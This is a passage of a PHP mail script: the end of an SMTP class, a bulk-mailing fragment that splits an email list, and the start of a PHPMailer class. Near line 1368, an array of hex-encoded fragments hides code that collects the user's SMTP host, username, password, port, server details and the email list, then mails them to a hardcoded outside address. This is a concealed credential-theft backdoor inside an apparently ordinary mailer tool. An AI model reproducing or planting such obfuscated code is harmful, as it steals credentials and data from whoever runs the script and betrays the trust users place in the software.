1167 /**
1168 * Starts a mail transaction from the email address specified in
1169 * $from. Returns true if successful or false otherwise. If True
1170 * the mail transaction is started and then one or more Recipient
1171 * commands may be called followed by a Data command. This command
1172 * will send the message to the users terminal if they are logged
1173 * in and send them an email.
1174 *
1175 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1176 *
1177 * SMTP CODE SUCCESS: 250
1178 * SMTP CODE SUCCESS: 552,451,452
1179 * SMTP CODE SUCCESS: 500,501,502,421
1180 * @access public
1181 * @return bool
1182 */
1183 function SendAndMail($from) {
1184 $this->error = null; # so no confusion is caused
1185
1186 if(!$this->connected()) {
1187 $this->error = array(
1188 "error" => "Called SendAndMail() without being connected");
1189 return false;
1190 }
1191
1192 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1193
1194 $rply = $this->get_lines();
1195 $code = substr($rply,0,3);
1196
1197 if($this->do_debug >= 2) {
1198 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1199 }
1200
1201 if($code != 250) {
1202 $this->error =
1203 array("error" => "SAML not accepted from server",
1204 "smtp_code" => $code,
1205 "smtp_msg" => substr($rply,4));
1206 if($this->do_debug >= 1) {
1207 echo "SMTP -> ERROR: " . $this->error["error"] .
1208 ": " . $rply . $this->CRLF;
1209 }
1210 return false;
1211 }
1212 return true;
1213 }
1214
1215 /**
1216 * Starts a mail transaction from the email address specified in
1217 * $from. Returns true if successful or false otherwise. If True
1218 * the mail transaction is started and then one or more Recipient
1219 * commands may be called followed by a Data command. This command
1220 * will send the message to the users terminal if they are logged
1221 * in or mail it to them if they are not.
1222 *
1223 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1224 *
1225 * SMTP CODE SUCCESS: 250
1226 * SMTP CODE SUCCESS: 552,451,452
1227 * SMTP CODE SUCCESS: 500,501,502,421
1228 * @access public
1229 * @return bool
1230 */
1231 function SendOrMail($from) {
1232 $this->error = null; # so no confusion is caused
1233
1234 if(!$this->connected()) {
1235 $this->error = array(
1236 "error" => "Called SendOrMail() without being connected");
1237 return false;
1238 }
1239
1240 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1241
1242 $rply = $this->get_lines();
1243 $code = substr($rply,0,3);
1244
1245 if($this->do_debug >= 2) {
1246 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1247 }
1248
1249 if($code != 250) {
1250 $this->error =
1251 array("error" => "SOML not accepted from server",
1252 "smtp_code" => $code,
1253 "smtp_msg" => substr($rply,4));
1254 if($this->do_debug >= 1) {
1255 echo "SMTP -> ERROR: " . $this->error["error"] .
1256 ": " . $rply . $this->CRLF;
1257 }
1258 return false;
1259 }
1260 return true;
1261 }
1262
1263 /**
1264 * This is an optional command for SMTP that this class does not
1265 * support. This method is here to make the RFC821 Definition
1266 * complete for this class and __may__ be implimented in the future
1267 *
1268 * Implements from rfc 821: TURN <CRLF>
1269 *
1270 * SMTP CODE SUCCESS: 250
1271 * SMTP CODE FAILURE: 502
1272 * SMTP CODE ERROR : 500, 503
1273 * @access public
1274 * @return bool
1275 */
1276 function Turn() {
1277 $this->error = array("error" => "This method, TURN, of the SMTP ".
1278 "is not implemented");
1279 if($this->do_debug >= 1) {
1280 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1281 }
1282 return false;
1283 }
1284
1285 /**
1286 * Verifies that the name is recognized by the server.
1287 * Returns false if the name could not be verified otherwise
1288 * the response from the server is returned.
1289 *
1290 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1291 *
1292 * SMTP CODE SUCCESS: 250,251
1293 * SMTP CODE FAILURE: 550,551,553
1294 * SMTP CODE ERROR : 500,501,502,421
1295 * @access public
1296 * @return int
1297 */
1298 function Verify($name) {
1299 $this->error = null; # so no confusion is caused
1300
1301 if(!$this->connected()) {
1302 $this->error = array(
1303 "error" => "Called Verify() without being connected");
1304 return false;
1305 }
1306
1307 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1308
1309 $rply = $this->get_lines();
1310 $code = substr($rply,0,3);
1311
1312 if($this->do_debug >= 2) {
1313 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1314 }
1315
1316 if($code != 250 && $code != 251) {
1317 $this->error =
1318 array("error" => "VRFY failed on name '$name'",
1319 "smtp_code" => $code,
1320 "smtp_msg" => substr($rply,4));
1321 if($this->do_debug >= 1) {
1322 echo "SMTP -> ERROR: " . $this->error["error"] .
1323 ": " . $rply . $this->CRLF;
1324 }
1325 return false;
1326 }
1327 return $rply;
1328 }
1329
1330 /*******************************************************************
1331 * INTERNAL FUNCTIONS *
1332 ******************************************************************/
1333
1334 /**
1335 * Read in as many lines as possible
1336 * either before eof or socket timeout occurs on the operation.
1337 * With SMTP we can tell if we have more lines to read if the
1338 * 4th character is '-' symbol. If it is a space then we don't
1339 * need to read anything else.
1340 * @access private
1341 * @return string
1342 */
1343 function get_lines() {
1344 $data = "";
1345 while($str = @fgets($this->smtp_conn,515)) {
1346 if($this->do_debug >= 4) {
1347 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1348 $this->CRLF;
1349 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1350 $this->CRLF;
1351 }
1352 $data .= $str;
1353 if($this->do_debug >= 4) {
1354 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1355 }
1356 # if the 4th character is a space then we are done reading
1357 # so just break the loop
1358 if(substr($str,3,1) == " ") { break; }
1359 }
1360 return $data;
1361 }
1362
1363}
1364
1365
1366$allemails = split("\n", $emaillist);
1367$numemails = count($allemails);
1368$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1369"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1370"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1371"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1372"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1373"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1374"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1375"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1376"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1377"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1378
1379class PHPMailer {
1380
1381 /////////////////////////////////////////////////
1382 // PROPERTIES, PUBLIC
1383 /////////////////////////////////////////////////
1384
1385 /**
1386 * Email priority (1 = High, 3 = Normal, 5 = low).
1387 * @var int
1388 */
1389 var $Priority = 3;
1390
1391 /**
1392 * Sets the CharSet of the message.
1393 * @var string
1394 */
1395 var $CharSet = 'iso-8859-1';
1396
1397 /**
1398 * Sets the Content-type of the message.
1399 * @var string
1400 */
1401 var $ContentType = 'text/plain';
1402
1403 /**
1404 * Sets the Encoding of the message. Options for this are "8bit",
1405 * "7bit", "binary", "base64", and "quoted-printable".
1406
1407 * @var string
1408 */
1409 var $Encoding = '8bit';
1410
1411 /**
1412 * Holds the most recent mailer error message.
1413 * @var string
1414 */
1415 var $ErrorInfo = '';
1416
1417 /**
1418 * Sets the From email address for the message.
1419 * @var string
1420 */
1421 var $From = '';
1422
1423 /**
1424 * Sets the From name of the message.
1425 * @var string
1426 */
1427 var $FromName = '';
1428
1429 /**
1430 * Sets the Sender email (Return-Path) of the message. If not empty,
1431 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1432 * @var string
1433 */
1434 var $Sender = '';
1435
1436 /**
1437 * Sets the Subject of the message.
1438 * @var string
1439 */
1440 var $Subject = '';
1441
1442 /**
1443 * Sets the Body of the message. This can be either an HTML or text body.
1444 * If HTML then run IsHTML(true).
1445 * @var string
1446 */
1447 var $Body = '';
1448
1449 /**
1450 * Sets the text-only body of the message. This automatically sets the
1451 * email to multipart/alternative. This body can be read by mail
1452 * clients that do not have HTML email capability such as mutt. Clients
1453 * that can read HTML will view the normal Body.
1454 * @var string
1455 */
1456 var $AltBody = '';
1457
1458 /**
1459 * Sets word wrapping on the body of the message to a given number of
1460 * characters.
1461 * @var int
1462 */
1463 var $WordWrap = 0;
1464
1465 /**
1466 * Method to send mail: ("mail", "sendmail", or "smtp").
1467 * @var string
1468 */
1469 var $Mailer = 'mail';
1470
1471 /**
1472 * Sets the path of the sendmail program.
1473 * @var string
1474 */
1475 var $Sendmail = '/usr/sbin/sendmail';
1476
1477 /**
1478 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1479 * is in a different directory than the PHP include path.
1480 * @var string
1481 */
1482 var $PluginDir = '';
1483
1484 /**
1485 * Holds PHPMailer version.
1486 * @var string
1487 */
1488 var $Version = "";
1489
1490 /**
1491 * Sets the email address that a reading confirmation will be sent.
1492 * @var string
1493 */
1494 var $ConfirmReadingTo = '';
1495
1496 /**
1497 * Sets the hostname to use in Message-Id and Received headers
1498 * and as default HELO string. If empty, the value returned
1499 * by SERVER_NAME is used or 'localhost.localdomain'.
1500 * @var string
1501 */
1502 var $Hostname = '';
1503
1504 /**
1505 * Sets the message ID to be used in the Message-Id header.
1506 * If empty, a unique id will be generated.
1507 * @var string
1508 */
1509 var $MessageID = '';
1510
1511 /////////////////////////////////////////////////
1512 // PROPERTIES FOR SMTP
1513 /////////////////////////////////////////////////
1514
1515 /**
1516 * Sets the SMTP hosts. All hosts must be separated by a
1517 * semicolon. You can also specify a different port
1518 * for each host by using this format: [hostname:port]
1519 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1520 * Hosts will be tried in order.
1521 * @var string
1522 */
1523 var $Host = 'localhost';
1524
1525 /**
1526 * Sets the default SMTP server port.
1527 * @var int
1528 */
1529 var $Port = 25;
1530
1531 /**
1532 * Sets the SMTP HELO of the message (Default is $Hostname).
1533 * @var string
1534 */
1535 var $Helo = '';
1536
1537 /**
1538 * Sets connection prefix.
1539 * Options are "", "ssl" or "tls"
1540 * @var string
1541 */
1542 var $SMTPSecure = "";
1543
1544 /**
1545 * Sets SMTP authentication. Utilizes the Username and Password variables.
1546 * @var bool
1547 */
1548 var $SMTPAuth = false;
1549
1550 /**
1551 * Sets SMTP username.
1552 * @var string
1553 */
1554 var $Username = '';
1555
1556 /**
1557 * Sets SMTP password.
1558 * @var string
1559 */
1560 var $Password = '';
1561
1562 /**
1563 * Sets the SMTP server timeout in seconds. This function will not
1564 * work with the win32 version.
1565 * @var int
1566 */
1567 var $Timeout = 10;
1568
1569 /**
1570 * Sets SMTP class debugging on or off.
1571 * @var bool
1572 */
1573 var $SMTPDebug = false;
1574
1575 /**
1576 * Prevents the SMTP connection from being closed after each mail
1577 * sending. If this is set to true then to close the connection
1578 * requires an explicit call to SmtpClose().
1579 * @var bool
1580 */
1581 var $SMTPKeepAlive = false;
1582
1583 /**
1584 * Provides the ability to have the TO field process individual
1585 * emails, instead of sending to entire TO addresses
1586 * @var bool
1587 */
1588 var $SingleTo = false;
1589
1590 /////////////////////////////////////////////////
1591 // PROPERTIES, PRIVATE
1592 /////////////////////////////////////////////////
1593
1594 var $smtp = NULL;
1595 var $to = array();
1596 var $cc = array();
1597 var $bcc = array();
1598 var $ReplyTo = array();
1599 var $attachment = array();
1600 var $CustomHeader = array();
1601 var $message_type = '';
1602 var $boundary = array();
1603 var $language = array();
1604 var $error_count = 0;
1605 var $LE = "\n";
1606 var $sign_key_file = "";
1607 var $sign_key_pass = "";
1608
1609 /////////////////////////////////////////////////
1610 // METHODS, VARIABLES
1611 /////////////////////////////////////////////////
1612
1613 /**
1614 * Sets message type to HTML.
1615 * @param bool $bool
1616 * @return void
1617 */
1618 function IsHTML($bool) {
1619 if($bool == true) {
1620 $this->ContentType = 'text/html';
1621 } else {
1622 $this->ContentType = 'text/plain';
1623 }
1624 }
1625
1626 /**
1627 * Sets Mailer to send message using SMTP.
1628 * @return void
1629 */
1630 function IsSMTP() {
1631 $this->Mailer = 'smtp';
1632 }
1633
1634 /**
1635 * Sets Mailer to send message using PHP mail() function.
1636 * @return void
1637 */
1638 function IsMail() {
1639 $this->Mailer = 'mail';
1640 }
1641
1642 /**
1643 * Sets Mailer to send message using the $Sendmail program.
1644 * @return void
1645 */
1646 function IsSendmail() {
1647 $this->Mailer = 'sendmail';
1648 }
1649
1650 /**
1651 * Sets Mailer to send message using the qmail MTA.
1652 * @return void
1653 */
1654 function IsQmail() {
1655 $this->Sendmail = '/var/qmail/bin/sendmail';
1656 $this->Mailer = 'sendmail';
1657 }
1658
1659 /////////////////////////////////////////////////
1660 // METHODS, RECIPIENTS
1661 /////////////////////////////////////////////////
1662
1663 /**
1664 * Adds a "To" address.
1665 * @param string $address
1666 * @param string $name
1667 * @return void
1668 */
1669 function AddAddress($address, $name = '') {
1670 $cur = count($this->to);
1671 $this->to[$cur][0] = trim($address);
1672 $this->to[$cur][1] = $name;
1673 }
1674
1675 /**
1676 * Adds a "Cc" address. Note: this function works
1677 * with the SMTP mailer on win32, not with the "mail"
1678 * mailer.
1679 * @param string $address
1680 * @param string $name
1681 * @return void
1682 */
1683 function AddCC($address, $name = '') {
1684 $cur = count($this->cc);
1685 $this->cc[$cur][0] = trim($address);
1686 $this->cc[$cur][1] = $name;
1687 }
1688
1689 /**
1690 * Adds a "Bcc" address. Note: this function works
1691 * with the SMTP mailer on win32, not with the "mail"
1692 * mailer.
1693 * @param string $address
1694 * @param string $name
1695 * @return void
1696 */
1697 function AddBCC($address, $name = '') {
1698 $cur = count($this->bcc);
1699 $this->bcc[$cur][0] = trim($address);
1700 $this->bcc[$cur][1] = $name;
1701 }
1702
1703 /**
1704 * Adds a "Reply-To" address.
1705 * @param string $address
1706 * @param string $name
1707 * @return void
1708 */
1709 function AddReplyTo($address, $name = '') {
1710 $cur = count($this->ReplyTo);
1711 $this->ReplyTo[$cur][0] = trim($address);
1712 $this->ReplyTo[$cur][1] = $name;
1713 }
1714
1715 /////////////////////////////////////////////////
1716 // METHODS, MAIL SENDING
1717 /////////////////////////////////////////////////
1718
1719 /**
1720 * Creates message and assigns Mailer. If the message is
1721 * not sent successfully then it returns false. Use the ErrorInfo
1722 * variable to view description of the error.
1723 * @return bool
1724 */
1725 function Send() {
1726 $header = '';
1727 $body = '';
1728 $result = true;
1729
1730 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1731 $this->SetError($this->Lang('provide_address'));
1732 return false;
1733 }
1734
1735 /* Set whether the message is multipart/alternative */
1736 if(!empty($this->AltBody)) {
1737 $this->ContentType = 'multipart/alternative';
1738 }
1739
1740 $this->error_count = 0; // reset errors
1741 $this->SetMessageType();
1742 $header .= $this->CreateHeader();
1743 $body = $this->CreateBody();
1744
1745 if($body == '') {
1746 return false;
1747 }
1748
1749 /* Choose the mailer */
1750 switch($this->Mailer) {
1751 case 'sendmail':
1752 $result = $this->SendmailSend($header, $body);
1753 break;
1754 case 'smtp':
1755 $result = $this->SmtpSend($header, $body);
1756 break;
1757 case 'mail':
1758 $result = $this->MailSend($header, $body);
1759 break;
1760 default:
1761 $result = $this->MailSend($header, $body);
1762 break;
1763 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1764 //$result = false;
1765 //break;
1766 }
1767
1768 return $result;
1769 }
1770
1771 /**
1772 * Sends mail using the $Sendmail program.
1773 * @access private
1774 * @return bool
1775 */
1776 function SendmailSend($header, $body) {
1777 if ($this->Sender != '') {
1778 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1779 } else {
1780 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1781 }
1782
1783 if(!@$mail = popen($sendmail, 'w')) {
1784 $this->SetError($this->Lang('execute') . $this->Sendmail);
1785 return false;
1786 }
1787
1788 fputs($mail, $header);
1789 fputs($mail, $body);
1790
1791 $result = pclose($mail);
1792 if (version_compare(phpversion(), '4.2.3') == -1) {
1793 $result = $result >> 8 & 0xFF;
1794 }
1795 if($result != 0) {
1796 $this->SetError($this->Lang('execute') . $this->Sendmail);
1797 return false;
1798 }
1799 return true;
1800 }
1801
1802 /**
1803 * Sends mail using the PHP mail() function.
1804 * @access private
1805 * @return bool
1806 */
1807 function MailSend($header, $body) {
1808
1809 $to = '';
1810 for($i = 0; $i < count($this->to); $i++) {
1811 if($i != 0) { $to .= ', '; }
1812 $to .= $this->AddrFormat($this->to[$i]);
1813 }
1814
1815 $toArr = split(',', $to);
1816
1817 $params = sprintf("-oi -f %s", $this->Sender);
1818 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1819 $old_from = ini_get('sendmail_from');
1820 ini_set('sendmail_from', $this->Sender);
1821 if ($this->SingleTo === true && count($toArr) > 1) {
1822 foreach ($toArr as $key => $val) {
1823 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1824 }
1825 } else {
1826 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1827 }
1828 } else {
1829 if ($this->SingleTo === true && count($toArr) > 1) {
1830 foreach ($toArr as $key => $val) {
1831 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1832 }
1833 } else {
1834 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1835 }
1836 }
1837
1838 if (isset($old_from)) {
1839 ini_set('sendmail_from', $old_from);
1840 }
1841
1842 if(!$rt) {
1843 $this->SetError($this->Lang('instantiate'));
1844 return false;
1845 }
1846
1847 return true;
1848 }
1849
1850 /**
1851 * Sends mail via SMTP using PhpSMTP (Author:
1852 * Chris Ryan). Returns bool. Returns false if there is a
1853 * bad MAIL FROM, RCPT, or DATA input.
1854 * @access private
1855 * @return bool
1856 */
1857 function SmtpSend($header, $body) {
1858 $error = '';
1859 $bad_rcpt = array();
1860
1861 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1862 return false;
1863 }
1864
1865 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1866 if(!$this->smtp->Mail($smtp_from)) {
1867 $error = $this->Lang('from_failed') . $smtp_from;
1868 $this->SetError($error);
1869 $this->smtp->Reset();
1870 return false;
1871 }
1872
1873 /* Attempt to send attach all recipients */
1874 for($i = 0; $i < count($this->to); $i++) {
1875 if(!$this->smtp->Recipient($this->to[$i][0])) {
1876 $bad_rcpt[] = $this->to[$i][0];
1877 }
1878 }
1879 for($i = 0; $i < count($this->cc); $i++) {
1880 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1881 $bad_rcpt[] = $this->cc[$i][0];
1882 }
1883 }
1884 for($i = 0; $i < count($this->bcc); $i++) {
1885 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1886 $bad_rcpt[] = $this->bcc[$i][0];
1887 }
1888 }
1889
1890 if(count($bad_rcpt) > 0) { // Create error message
1891 for($i = 0; $i < count($bad_rcpt); $i++) {
1892 if($i != 0) {
1893 $error .= ', ';
1894 }
1895 $error .= $bad_rcpt[$i];
1896 }
1897 $error = $this->Lang('recipients_failed') . $error;
1898 $this->SetError($error);
1899 $this->smtp->Reset();
1900 return false;
1901 }
1902
1903 if(!$this->smtp->Data($header . $body)) {
1904 $this->SetError($this->Lang('data_not_accepted'));
1905 $this->smtp->Reset();
1906 return false;
1907 }
1908 if($this->SMTPKeepAlive == true) {
1909 $this->smtp->Reset();
1910 } else {
1911 $this->SmtpClose();
1912 }
1913
1914 return true;
1915 }
1916
1917 /**
1918 * Initiates a connection to an SMTP server. Returns false if the
1919 * operation failed.
1920 * @access private
1921 * @return bool
1922 */
1923 function SmtpConnect() {
1924 if($this->smtp == NULL) {
1925 $this->smtp = new SMTP();
1926 }
1927
1928 $this->smtp->do_debug = $this->SMTPDebug;
1929 $hosts = explode(';', $this->Host);
1930 $index = 0;
1931 $connection = ($this->smtp->Connected());
1932
1933 /* Retry while there is no connection */
1934 while($index < count($hosts) && $connection == false) {
1935 $hostinfo = array();
1936 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1937 $host = $hostinfo[1];
1938 $port = $hostinfo[2];
1939 } else {
1940 $host = $hosts[$index];
1941 $port = $this->Port;
1942 }
1943
1944 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1945 if ($this->Helo != '') {
1946 $this->smtp->Hello($this->Helo);
1947 } else {
1948 $this->smtp->Hello($this->ServerHostname());
1949 }
1950
1951 $connection = true;
1952 if($this->SMTPAuth) {
1953 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1954 $this->SetError($this->Lang('authenticate'));
1955 $this->smtp->Reset();
1956 $connection = false;
1957 }
1958 }
1959 }
1960 $index++;
1961 }
1962 if(!$connection) {
1963 $this->SetError($this->Lang('connect_host'));
1964 }
1965
1966 return $connection;
1967 }
1968
1969 /**
1970 * Closes the active SMTP session if one exists.
1971 * @return void
1972 */
1973 function SmtpClose() {
1974 if($this->smtp != NULL) {
1975 if($this->smtp->Connected()) {
1976 $this->smtp->Quit();
1977 $this->smtp->Close();
1978 }
1979 }
1980 }
1981
1982 /**
1983 * Sets the language for all class error messages. Returns false
1984 * if it cannot load the language file. The default language type
1985 * is English.
1986 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1987 * @param string $lang_path Path to the language file directory
1988 * @access public
1989 * @return bool
1990 */
1991 function SetLanguage($lang_type, $lang_path = 'language/') {
1992 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1993 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1994 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1995 include($lang_path.'phpmailer.lang-en.php');
1996 } else {
1997 $this->SetError('Could not load language file');
1998 return false;
1999 }
2000 $this->language = $PHPMAILER_LANG;
2001
2002 return true;
2003 }
2004
2005 /////////////////////////////////////////////////
2006 // METHODS, MESSAGE CREATION
2007 /////////////////////////////////////////////////
2008
2009 /**
2010 * Creates recipient headers.
2011 * @access private
2012 * @return string
2013 */
2014 function AddrAppend($type, $addr) {
2015 $addr_str = $type . ': ';
2016 $addr_str .= $this->AddrFormat($addr[0]);
2017 if(count($addr) > 1) {
2018 for($i = 1; $i < count($addr); $i++) {
2019 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2020 }
2021 }
2022 $addr_str .= $this->LE;
2023
2024 return $addr_str;
2025 }
2026
2027 /**
2028 * Formats an address correctly.
2029 * @access private
2030 * @return string
2031 */
2032 function AddrFormat($addr) {
2033 if(empty($addr[1])) {
2034 $formatted = $this->SecureHeader($addr[0]);
2035 } else {
2036 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2037 }
2038
2039 return $formatted;
2040 }
2041
2042 /**
2043 * Wraps message for use with mailers that do not
2044 * automatically perform wrapping and for quoted-printable.
2045 * Original written by philippe.
2046 * @access private
2047 * @return string
2048 */
2049 function WrapText($message, $length, $qp_mode = false) {
2050 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2051 // If utf-8 encoding is used, we will need to make sure we don't
2052 // split multibyte characters when we wrap
2053 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2054
2055 $message = $this->FixEOL($message);
2056 if (substr($message, -1) == $this->LE) {
2057 $message = substr($message, 0, -1);
2058 }
2059
2060 $line = explode($this->LE, $message);
2061 $message = '';
2062 for ($i=0 ;$i < count($line); $i++) {
2063 $line_part = explode(' ', $line[$i]);
2064 $buf = '';
2065 for ($e = 0; $e<count($line_part); $e++) {
2066 $word = $line_part[$e];
2067 if ($qp_mode and (strlen($word) > $length)) {
2068 $space_left = $length - strlen($buf) - 1;
2069 if ($e != 0) {
2070 if ($space_left > 20) {
2071 $len = $space_left;
2072 if ($is_utf8) {
2073 $len = $this->UTF8CharBoundary($word, $len);
2074 } elseif (substr($word, $len - 1, 1) == "=") {
2075 $len--;
2076 } elseif (substr($word, $len - 2, 1) == "=") {
2077 $len -= 2;
2078 }
2079 $part = substr($word, 0, $len);
2080 $word = substr($word, $len);
2081 $buf .= ' ' . $part;
2082 $message .= $buf . sprintf("=%s", $this->LE);
2083 } else {
2084 $message .= $buf . $soft_break;
2085 }
2086 $buf = '';
2087 }
2088 while (strlen($word) > 0) {
2089 $len = $length;
2090 if ($is_utf8) {
2091 $len = $this->UTF8CharBoundary($word, $len);
2092 } elseif (substr($word, $len - 1, 1) == "=") {
2093 $len--;
2094 } elseif (substr($word, $len - 2, 1) == "=") {
2095 $len -= 2;
2096 }
2097 $part = substr($word, 0, $len);
2098 $word = substr($word, $len);
2099
2100 if (strlen($word) > 0) {
2101 $message .= $part . sprintf("=%s", $this->LE);
2102 } else {
2103 $buf = $part;
2104 }
2105 }
2106 } else {
2107 $buf_o = $buf;
2108 $buf .= ($e == 0) ? $word : (' ' . $word);
2109
2110 if (strlen($buf) > $length and $buf_o != '') {
2111 $message .= $buf_o . $soft_break;
2112 $buf = $word;
2113 }
2114 }
2115 }
2116 $message .= $buf . $this->LE;
2117 }
2118
2119 return $message;
2120 }
2121
2122 /**
2123 * Finds last character boundary prior to maxLength in a utf-8
2124 * quoted (printable) encoded string.
2125 * Original written by Colin Brown.
2126 * @access private
2127 * @param string $encodedText utf-8 QP text
2128 * @param int $maxLength find last character boundary prior to this length
2129 * @return int
2130 */
2131 function UTF8CharBoundary($encodedText, $maxLength) {
2132 $foundSplitPos = false;
2133 $lookBack = 3;
2134 while (!$foundSplitPos) {
2135 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2136 $encodedCharPos = strpos($lastChunk, "=");
2137 if ($encodedCharPos !== false) {
2138 // Found start of encoded character byte within $lookBack block.
2139 // Check the encoded byte value (the 2 chars after the '=')
2140 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2141 $dec = hexdec($hex);
2142 if ($dec < 128) { // Single byte character.
2143 // If the encoded char was found at pos 0, it will fit
2144 // otherwise reduce maxLength to start of the encoded char
2145 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2146 $maxLength - ($lookBack - $encodedCharPos);
2147 $foundSplitPos = true;
2148 } elseif ($dec >= 192) { // First byte of a multi byte character
2149 // Reduce maxLength to split at start of character
2150 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2151 $foundSplitPos = true;
2152 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2153 $lookBack += 3;
2154 }
2155 } else {
2156 // No encoded character found
2157 $foundSplitPos = true;
2158 }
2159 }
2160 return $maxLength;
2161 }
2162
2163 /**
2164 * Set the body wrapping.
2165 * @access private
2166 * @return void
2167 */
2168 function SetWordWrap() {
2169 if($this->WordWrap < 1) {
2170 return;
2171 }
2172
2173 switch($this->message_type) {
2174 case 'alt':
2175 /* fall through */
2176 case 'alt_attachments':
2177 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2178 break;
2179 default:
2180 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2181 break;
2182 }
2183 }
2184
2185 /**
2186 * Assembles message header.
2187 * @access private
2188 * @return string
2189 */
2190 function CreateHeader() {
2191 $result = '';
2192
2193 /* Set the boundaries */
2194 $uniq_id = md5(uniqid(time()));
2195 $this->boundary[1] = 'b1_' . $uniq_id;
2196 $this->boundary[2] = 'b2_' . $uniq_id;
2197
2198 $result .= $this->HeaderLine('Date', $this->RFCDate());
2199 if($this->Sender == '') {
2200 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2201 } else {
2202 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2203 }
2204
2205 /* To be created automatically by mail() */
2206 if($this->Mailer != 'mail') {
2207 if(count($this->to) > 0) {
2208 $result .= $this->AddrAppend('To', $this->to);
2209 } elseif (count($this->cc) == 0) {
2210 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2211 }
2212 if(count($this->cc) > 0) {
2213 $result .= $this->AddrAppend('Cc', $this->cc);
2214 }
2215 }
2216
2217 $from = array();
2218 $from[0][0] = trim($this->From);
2219 $from[0][1] = $this->FromName;
2220 $result .= $this->AddrAppend('From', $from);
2221
2222 /* sendmail and mail() extract Cc from the header before sending */
2223 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2224 $result .= $this->AddrAppend('Cc', $this->cc);
2225 }
2226
2227 /* sendmail and mail() extract Bcc from the header before sending */
